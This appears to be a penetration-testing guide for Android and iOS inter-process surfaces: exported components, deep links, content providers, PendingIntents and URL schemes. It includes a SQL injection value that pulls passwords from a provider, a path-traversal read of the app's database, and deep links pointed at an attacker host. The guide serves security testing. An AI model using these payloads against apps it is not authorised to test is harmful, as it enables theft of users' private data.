Testing Mobile IPC and Deep Links
Every exported component and registered URL scheme is a remote entry point that does not need the network. A malicious app on the same device — or a web page the user visits — can invoke them directly, and they are frequently written as if only the app itself would ever call them.
When to Use
- Reviewing
AndroidManifest.xmlfor exported components - Testing deep links, App Links, custom URL schemes, or Universal Links
- Assessing content provider and broadcast receiver exposure
- Checking
PendingIntent, intent redirection, and App Group sharing - Answering "what can another app on this device do to this one?"
When NOT to Use
- Network API testing — use
testing-apis - Binary-level reversing — use
analyzing-ios-binariesor the relevantreversing-*skill - TLS or detection problems blocking you — use
bypassing-mobile-pinningorbypassing-root-jailbreak-detectionfirst - The wider assessment — use
testing-mobile-applications
Android: Enumerate the Surface
apktool d target.apk -o out
# Every component with exported=true, or with an intent-filter and no explicit
# exported attribute on older targetSdk (which defaults to exported)
rg -n 'android:exported="true"|<intent-filter>' -B3 out/AndroidManifest.xml
# Live enumeration
adb shell dumpsys package com.target.app | rg -A3 'Activity Resolver|Receiver Resolver|Service Resolver|Provider'
drozer console connect
# run app.package.attacksurface com.target.app
# run app.activity.info -a com.target.app
# run app.provider.info -a com.target.app
android:exported defaults changed — apps targeting API 31+ must declare
it explicitly, but a component with an intent-filter on an older target is
exported implicitly. Check targetSdkVersion before concluding a component is
private.
Also check permission protection levels. A component "protected" by a
custom permission declared with protectionLevel="normal" is protected by
nothing: any app can request and receive it without user interaction.
rg -n 'permission android:name|protectionLevel' out/AndroidManifest.xml
Android: Test Each Component Type
# Activities — can an unauthenticated screen be launched directly?
adb shell am start -n com.target.app/.SomeActivity
adb shell am start -a android.intent.action.VIEW -d "myapp://path?param=value"
adb shell am start -n com.target.app/.WebActivity --es url "https://attacker.example"
# Services
adb shell am startservice -n com.target.app/.ExportedService --es cmd value
# Broadcast receivers
adb shell am broadcast -a com.target.app.ACTION_X --es data value
# Content providers — the highest-yield target
adb shell content query --uri content://com.target.app.provider/users
adb shell content query --uri content://com.target.app.provider/users \
--where "1=1) UNION SELECT password FROM creds--"
adb shell content read --uri content://com.target.app.provider/files/../../databases/app.db
Content providers deserve specific attention because two classic bugs recur:
- SQL injection through the
selection/projectionarguments, which are concatenated into the query far more often than in server code. - Path traversal in
openFile(), where a provider that serves files from its own directory does not canonicalize the requested path, giving any app on the device read access to the app's private storage.
Android: The High-Impact Patterns
Intent redirection (the "confused deputy" of Android). An exported
component takes an Intent as an extra and then starts it. The caller
supplies the inner intent, so it executes with the victim app's identity —
reaching its non-exported components and its permissions.
rg -n 'getParcelableExtra.*Intent|startActivity\(.*getIntent\(\).*Extra' out/smali*
# Exploit shape: outer intent → exported component → inner intent → private component
PendingIntent hijacking. A PendingIntent created with an implicit base
intent, or without FLAG_IMMUTABLE, lets the receiving app fill in the blanks
and cause an action with the sender's identity.
rg -n 'PendingIntent.get(Activity|Broadcast|Service)' -A3 out/smali*
# Findings: FLAG_MUTABLE (or no flag pre-API-31) plus an implicit base intent
Deep link to WebView. A deep link parameter that becomes a loadUrl()
target turns any web page into a way to render attacker content inside the
app's WebView — with its cookies, its JS bridges, and its file access.
adb shell am start -a android.intent.action.VIEW -d "myapp://open?url=https://attacker.example"
rg -n 'loadUrl|addJavascriptInterface|setAllowFileAccess|setJavaScriptEnabled' out/smali*
App Links verification. autoVerify="true" only works if
https://domain/.well-known/assetlinks.json is correct and reachable. When
verification fails, the link degrades to a disambiguation dialog that another
app can also claim.
curl -s https://target.example/.well-known/assetlinks.json | jq .
adb shell pm get-app-links com.target.app
iOS
# Declared URL schemes and associated domains
plutil -p Payload/TargetApp.app/Info.plist | rg -A5 'CFBundleURLSchemes'
codesign -d --entitlements :- Payload/TargetApp.app | rg -A3 'associated-domains|application-groups'
# Trigger a scheme
xcrun simctl openurl booted "myapp://path?param=value"
# On device: open the URL from Safari or Notes
Custom URL schemes are unauthenticated and claimable. Any app can register
myapp://, and if two do, the winner is undefined. Anything reached through a
custom scheme must be treated as attacker-invoked. Universal Links are the
verified alternative:
curl -s https://target.example/.well-known/apple-app-site-association | jq .
# Must be served over HTTPS, no redirect, correct app ID, correct paths
Also check:
- App Groups — a shared container between the app and its extensions. Data written there is readable by every member, including a weakly-reviewed keyboard or share extension.
- Keychain access groups — over-broad sharing across an app family.
- Pasteboard — the general pasteboard is readable by any app; credentials and tokens copied there leak.
application:openURL:options:— check whether the handler validates the source application and the URL's parameters before acting.
What Makes It a Finding
Invoking a component is not itself a finding. The finding is what it lets an unprivileged local app do:
- Reach a privileged action without authentication — a transfer screen, a settings change, an account action reachable by deep link past the login gate
- Read data it should not — provider query returning other users' rows, or traversal into private storage
- Act as the victim app — intent redirection or PendingIntent hijack
- Render attacker content in a trusted context — WebView with a JS bridge
- Leak secrets to the caller — tokens returned in an activity result, written to a shared container, or logged
Test whether the deep link path skips authentication specifically: launch the target component with the app logged out, and again with a different account.
Rationalizations to Reject
- "It's exported but it needs a permission." Check the protection level.
normalis granted automatically. - "Only our own app calls it." Anything exported is callable by any app, and by the browser if it has an intent-filter.
- "The deep link needs a valid token in the URL." Test it. Tokens in deep links are frequently unvalidated, reusable, or leak through referrer headers.
- "It's not exported." Confirm against
targetSdkVersion, and check whether intent redirection reaches it anyway. - "iOS URL schemes are fine, we validate the input." Validate the caller too — schemes are unauthenticated and claimable by any app.
- "The provider is read-only." Read is the finding when the rows belong to someone else.
References
testing-mobile-applications— the wider assessmenttesting-apis— the backend those components ultimately callanalyzing-ios-binaries— entitlements and App Group enumerationreporting-security-findings— severity for local-attacker findings- drozer, adb, apktool, jadx, objection, Frida